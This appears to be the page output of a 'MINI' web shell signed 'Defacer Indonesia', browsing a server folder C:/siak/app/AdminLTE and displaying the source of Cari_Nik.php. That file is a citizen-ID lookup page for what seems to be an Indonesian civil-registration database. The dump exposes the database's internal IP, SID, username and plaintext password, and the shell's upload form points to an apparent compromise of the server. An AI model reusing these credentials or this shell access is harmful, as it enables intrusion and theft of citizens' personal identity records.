MINI
C:
/
siak
/
app
/
AdminLTE
/
Upload File:
files >> C:/siak/app/AdminLTE/Cari_Nik.php
<?php // ------------------------------ // CONFIG DATABASE // ------------------------------ $ipektp = '10.65.0.3'; $portdbsiak = '1521'; $dbsiakuser = 'SIAKOFF'; $dbsiakpwd = 'bobbytgs13'; $dbsiaksid = 'SIAKDB'; $conn = oci_connect($dbsiakuser, $dbsiakpwd, "$ipektp:$portdbsiak/$dbsiaksid"); if (!$conn) { $e = oci_error(); die("Koneksi database gagal: " . htmlentities($e['message'])); } // Set format tanggal $stid = oci_parse($conn, "ALTER SESSION SET nls_date_format='DD-MM-YYYY'"); oci_execute($stid); $result = null; $error = null; if (isset($_POST['nik'])) { $nik = trim($_POST['nik']); $query = "SELECT NIK, NO_KK, NAMA_LGKP, JENIS_KLMIN, TMPT_LHR, TGL_LHR FROM biodata_wni WHERE NIK = :nik"; $stid = oci_parse($conn, $query); oci_bind_by_name($stid, ':nik', $nik); oci_execute($stid); $row = oci_fetch_assoc($stid); if ($row) { // Konversi jenis kelamin if ($row['JENIS_KLMIN'] == '1') { $row['JENIS_KLMIN'] = "Laki-Laki"; } elseif ($row['JENIS_KLMIN'] == '2') { $row['JENIS_KLMIN'] = "Perempuan"; } else { $row['JENIS_KLMIN'] = "Tidak Diketahui"; } $result = $row; } else { $error = "Data tidak ditemukan untuk NIK tersebut."; } } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <title>Cari Data NIK</title> <style> body { font-family: Arial, sans-serif; background: #f0f2f5; padding: 20px; display: flex; justify-content: center; align-items: flex-start; min-height: 100vh; } .container { background: white; padding: 30px; border-radius: 12px; width: 450px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); border: 1px solid #ddd; } h2 { text-align: center; margin-bottom: 20px; } label { font-weight: bold; } input[type=text] { width: 100%; padding: 12px; margin: 8px 0 15px; border: 1px solid #ccc; border-radius: 8px; } button { width: 100%; padding: 12px; background: #007bff; color: white; border: none; border-radius: 8px; cursor: pointer; } button:hover { background: #0056c7; } .result, .error { margin-top: 20px; padding: 15px; border-radius: 8px; } .result { background: #e9ffe9; border: 1px solid #b7e6b7; } .error { background: #ffe5e5; border: 1px solid #ffb4b4; } table { width: 100%; margin-top: 10px; border-collapse: collapse; } td { padding: 6px 0; border-bottom: 1px solid #eee; } td:first-child { font-weight: bold; width: 38%; } </style> </head> <body> <div class="container"> <div style="text-align:center; margin-bottom:20px;"> <img src="garuda.jpg" alt="Logo Kabupaten" style="width:120px;"> </div> <h2>Cari Data Berdasarkan NIK</h2> <form method="POST"> <label>Masukkan NIK:</label> <input type="text" name="nik" placeholder="Contoh: 6404051303810003" required /> <button type="submit">Cari</button> </form> <?php if ($result): ?> <div class="result"> <strong>Data Ditemukan:</strong><br/><br/> <table> <tr><td>NIK</td><td><?= htmlspecialchars($result['NIK']) ?></td></tr> <tr><td>No KK</td><td><?= htmlspecialchars($result['NO_KK']) ?></td></tr> <tr><td>Nama</td><td><?= htmlspecialchars($result['NAMA_LGKP']) ?></td></tr> <tr><td>Jenis Kelamin</td><td><?= htmlspecialchars($result['JENIS_KLMIN']) ?></td></tr> <tr><td>Tempat Lahir</td><td><?= htmlspecialchars($result['TMPT_LHR']) ?></td></tr> <tr><td>Tanggal Lahir</td><td><?= htmlspecialchars($result['TGL_LHR']) ?></td></tr> </table> </div> <?php endif; ?> <?php if ($error): ?> <div class="error"><?= htmlspecialchars($error) ?></div> <?php endif; ?> </div> </body> </html>
Copyright ©2021 || Defacer Indonesia